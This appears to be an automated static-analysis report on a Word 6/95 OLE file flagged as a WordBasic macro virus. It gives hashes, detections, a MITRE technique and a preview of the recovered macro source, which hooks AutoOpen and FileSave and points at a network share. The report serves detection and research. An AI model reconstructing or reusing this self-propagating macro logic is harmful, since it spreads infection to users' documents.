Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 910de4caa8a2e733…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: fc3f31ee0e3edddb3e6f8faf27b20aad SHA-1: c85a52ba074de7fd38de5d69b86432d5f9beb9c7 SHA-256: 910de4caa8a2e733c84f9986709d4f526243188dd004878067c67f4ddae4a4f6
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers and embedded text that includes file paths and macro names like 'AutoOpen'. This suggests the file is designed to execute malicious code upon opening, likely to download or drop additional payloads from the specified network share.

Heuristics 3

  • ClamAV: Doc.Dropper.Agent-1501694 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1501694
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 544 bytes
SHA-256: e990cf31b5a41168d69afcd81613a5f782b3095ce94b8b3dae7acd02f63f2f1f
Preview script
First 1,000 lines of the extracted script
MAIN
@cmd00cc = 0
@cmd00d1 = 0
p = @cmd8003 @cmd80a1 "."
n = @cmd8003 @cmd8025
n p * MM
d$ = @cmd800a @cmd8025 , p = 2
@cmd0053
@cmd80a1 "\\ltx\data\networkt\share\*.*" = * NN
n$ = "\\ltx\data\networkt\share\" = d$
@cmd80a1 n$ * NN
@cmd012c @cmd8025 , "\\ltx\data\networkt\share\"
@cmd0054 = @cmd8025 , = 1
m$ = @cmd8025 = ":AutoOpen"
@cmd80c2 "Global:NOP" , m$
m$ = @cmd8025 = ":NOP"
@cmd80c2 "Global:FileSave" , m$
@cmd00cc = 1
MAIN
m$ = @cmd8025 = ":NOP"
@cmd80c2 m$ , "Global:FileSave"
m$ = @cmd8025 = ":AutoOpen"
@cmd80c2 m$ , "Global:NOP"

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